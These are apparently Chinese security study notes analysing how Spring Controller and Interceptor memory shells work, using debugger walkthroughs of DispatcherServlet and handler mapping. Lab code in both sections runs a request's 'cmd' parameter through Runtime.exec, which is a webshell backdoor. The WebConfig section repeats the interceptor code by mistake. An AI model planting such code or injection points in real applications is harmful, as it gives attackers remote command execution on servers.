一,Spring Controller 型内存马原理分析

1,前置环境

  • idea新建一个SpringBoot项目

    • Server URL:start.aliyun.com,包名example.controllershelltry

    • com.example.controllershelltry.demos.web新建一个TestController类

      package com.example.controllershelltry.demos.web;
       
      import org.springframework.web.bind.annotation.GetMapping;
      import org.springframework.web.bind.annotation.RequestMapping;
      import org.springframework.web.bind.annotation.RestController;
      import org.springframework.web.servlet.HandlerInterceptor;
       
      import javax.servlet.http.HttpServletRequest;
      import javax.servlet.http.HttpServletResponse;
       
      @RestController
      public class TestController {
          @GetMapping("/test")
          public String test(){
              return "test";
          }
       
          @RequestMapping("/shell")
          public String shell(HttpServletRequest request, HttpServletResponse response) throws Exception {
              String cmd = request.getParameter("cmd");
              Runtime.getRuntime().exec(cmd);
              return "shell";
          }
      }
    • 断点设置在return “test”,启动访问:http://localhost:8080/test

2,断点分析

  • doDispatch#mappedHandler[DispatcherServlet.class]

    • handler指向com.example.controllershelltry.demos.web.TestController

    • doDispatch下面的doService啥都没有

    • 右击mappedHandler跳转到源

    • HandlerExecutionChain mappedHandler = null;

      • 观察到变量值HandlerExecutionChain with [com.example.controllershelltry.demos.web.TestController#test()] and 2 interceptors
      • 往下分析mappedHandler = this.getHandler(processedRequest);
        • processedRequest ~> request
        • 由此后续思路点展开doDispatch#request

3,思路概览

  • request请求 获取

  • getHandler 得到要执行的类和方法

  • 已知:

    • 注册controller通过:RequestMappingHandlerMapping#registerMapping

    • 新建ControllerShell类,键入RequestMappingHandlerMapping,导入类

    • 点击跳转至RequestMappingHandlerMapping.class

    • 展开结构视图搜索,registerMapping[RequestMappingHandlerMapping.class]

    • public void registerMapping(RequestMappingInfo mapping, Object handler, Method method)

      • RequestMappingInfo mapping:
      • Object handler:操作对象
      • Method method:操作对象里的方法
    • 点击RequestMappingInfo

      • RequestMappingInfo.java

二、Spring Interceptor 型内存马

1,环境准备

  • 思路与Spring Controller一致
  • com.example.interceptorshelltry.demos.web下新建一个TestInterceptor.java
package com.example.interceptorshelltry.demos.web;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        System.out.println(cmd);
        return HandlerInterceptor.super.preHandle(request, response, handler);
    }
}
  • com.example.interceptorshelltry.demos.web下新建一个WebConfig.java类
package com.example.interceptorshelltry.demos.web;
 
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
 
public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        System.out.println(cmd);
        return HandlerInterceptor.super.preHandle(request, response, handler);
    }
}

2,断点分析

  • 断点设置于System.out.println(“preHandle”),访问http://192.168.187.242:8080/cx?cmd=calc,控制台返回断点内容[TestInterceptor.java]

  • doDispatch#mappedHandler[DispatcherServlet.java]

    • handler指向com.example.interceptorshelltry.demos.web.TestInterceptor
    • 右击mappedHandler跳转到源
    • HandlerExecutionChain mappedHandler = null;
      • 观察到变量值HandlerExecutionChain with [com.example.controllershelltry.demos.web.TestController#test()] and 2 interceptors
      • 往下分析mappedHandler = this.getHandler(processedRequest);
        • processedRequest ~> request
        • 由此后续思路点展开doDispatch#request
  • mappedHandler = getHandler(processedRequest)处设置断点,再次访问http://192.168.187.242:8080/cx?cmd=calc,控入getHandler[DispatcherServlet.java]

  • 控制台先步入,在步过至HandlerExecutionChain handler = mapping.getHandler(request),复制控制台mapping的值如下:RequsetMappingHandlerMapping@5336[DispatcherServlet.java]

  • HandlerExecutionChain handler = mapping.getHandler(request)处点击步入,跳转至Object handler = getHandlerInternal(request),[AbstractHandlerMapping.java&getHandler]

  • HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request),控入 getHandlerExecutionChain,此处有拦截器的代码段chain.addInterceptor(mappedInterceptor.getInterceptor())[AbstractHandlerMapping.java&getHandlerExecutionChain]

    • getInterceptor() ~> mappedInterceptor ~> (MappedInterceptor) interceptor ~> this.adaptedInterceptors
  • 控入adaptedInterceptors,private final List adaptedInterceptors = new ArrayList<>()[[AbstractHandlerMapping.java],得到adaptedInterceptors的类型,控制它的值就是控制监听器